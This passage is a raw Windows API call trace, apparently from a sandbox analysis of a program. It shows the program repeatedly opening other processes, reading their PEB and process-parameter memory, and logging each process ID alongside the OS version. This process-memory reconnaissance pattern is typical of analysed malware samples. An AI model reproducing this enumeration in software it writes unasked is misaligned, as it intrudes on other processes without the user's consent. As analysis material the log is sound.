(dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc0) returned 0x26c [0171.667] GetLastError () returned 0x0 [0171.667] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0171.667] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x205018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0171.668] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0171.668] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x551ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0171.668] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5518f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0171.669] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0171.670] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0171.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x205020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5512e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0171.670] malloc (_Size=0x70) returned 0x196ef0d31b0 [0171.670] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0171.671] free (_Block=0x196ef0d31b0) [0171.672] CloseHandle (hObject=0x26c) returned 1 [0171.673] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0171.678] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4040") returned 4 [0171.680] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0171.680] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.029] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x26c [0172.029] GetLastError () returned 0x0 [0172.029] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.029] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3b2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.029] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.030] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x591cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.030] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.031] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.032] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.032] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3b2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.032] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.032] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0172.032] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.033] free (_Block=0x196ef0d31b0) [0172.034] CloseHandle (hObject=0x26c) returned 1 [0172.035] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0172.041] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4052") returned 4 [0172.042] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.042] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.063] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x26c [0172.064] GetLastError () returned 0x0 [0172.064] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3be018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.064] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.106] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.107] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.107] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3be020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.107] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.108] malloc (_Size=0x78) returned 0x196ef0d2120 [0172.108] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0172.108] free (_Block=0x196ef0d2120) [0172.109] CloseHandle (hObject=0x26c) returned 1 [0172.110] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0172.116] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4060") returned 4 [0172.118] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.118] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.136] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x26c [0172.136] GetLastError () returned 0x0 [0172.136] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.137] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2a1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.137] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.137] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x591d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.137] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.138] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.140] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.140] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2a1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.140] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.140] malloc (_Size=0x7e) returned 0x196ef0d4f30 [0172.140] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x59196e, lpBuffer=0x196ef0d4f30, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0172.141] free (_Block=0x196ef0d4f30) [0172.142] CloseHandle (hObject=0x26c) returned 1 [0172.143] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0172.243] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4080") returned 4 [0172.245] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.245] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.265] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x26c [0172.265] GetLastError () returned 0x0 [0172.265] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.265] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x37d018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.266] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.266] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x561cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.266] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5618f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.268] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.270] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.270] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x37d020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.270] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5612e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.270] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0172.270] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.271] free (_Block=0x196ef0d31b0) [0172.272] CloseHandle (hObject=0x26c) returned 1 [0172.273] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0172.279] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4088") returned 4 [0172.281] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.281] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.410] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x26c [0172.411] GetLastError () returned 0x0 [0172.411] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2b5018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.411] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.412] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e18f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.413] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.414] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.414] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2b5020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.414] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.414] malloc (_Size=0x72) returned 0x196ef0d31b0 [0172.414] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.416] free (_Block=0x196ef0d31b0) [0172.418] CloseHandle (hObject=0x26c) returned 1 [0172.420] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0172.453] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4100") returned 4 [0172.455] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.455] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.475] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x26c [0172.475] GetLastError () returned 0x0 [0172.475] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.475] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x37f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.475] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.475] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x511cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.476] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5118f8, lpBuffer=0x670ffc3f0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.477] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.478] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.478] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x37f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.478] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5112e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.478] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0172.478] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.479] free (_Block=0x196ef0d31b0) [0172.480] CloseHandle (hObject=0x26c) returned 1 [0172.481] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0172.486] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4108") returned 4 [0172.501] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0172.501] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0172.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x26c [0172.520] GetLastError () returned 0x0 [0172.520] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0172.521] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0172.521] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0172.521] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x391d20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0172.521] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3918f8, lpBuffer=0x670ffc3f0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0172.522] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0172.524] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0172.524] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x461020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0172.524] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0172.524] malloc (_Size=0x82) returned 0x196ef0d4f30 [0172.524] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x391972, lpBuffer=0x196ef0d4f30, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0172.525] free (_Block=0x196ef0d4f30) [0172.526] CloseHandle (hObject=0x26c) returned 1 [0172.527] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0172.532] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4120") returned 4 [0172.534] 